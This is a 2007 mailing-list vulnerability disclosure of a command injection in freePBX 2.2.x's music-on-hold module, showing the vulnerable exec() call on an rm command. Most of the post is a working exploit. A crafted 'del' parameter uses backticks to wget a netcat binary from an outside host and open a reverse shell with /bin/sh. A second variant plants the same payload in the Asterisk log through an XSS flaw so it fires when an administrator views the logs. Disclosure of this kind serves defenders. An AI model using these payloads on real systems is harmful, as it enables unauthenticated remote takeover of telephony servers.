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freePBX 2.2.x's Music-on-hold Remote Code Execution Injection
From: XenoMuta <xenomuta () phreaker net>
Date: Sat, 21 Apr 2007 17:33:34 -0400
I've found a code injection in the music-on-hold module at freePBX's portal.
There are Inssuficient filters in the delete functions. Only " ' and ; are being filtered.
Vulnerable Lines:300: $rmcmd="rm -f \"".$path_to_dir."/". $del."\"";
301: exec($rmcmd); Example code:http://<freePBX-host>/admin/config.php?display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default
You can inject this code without access to the portal into the /var/ log/asterisk/full this way... ./asteriskxss.php asterisk-server "<img src=\"/admin/config.php? display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc \`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">" hoping that an administrator to view the logs from the portals.... using the documented XSS vulnerability posted here...
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/ 053882.html
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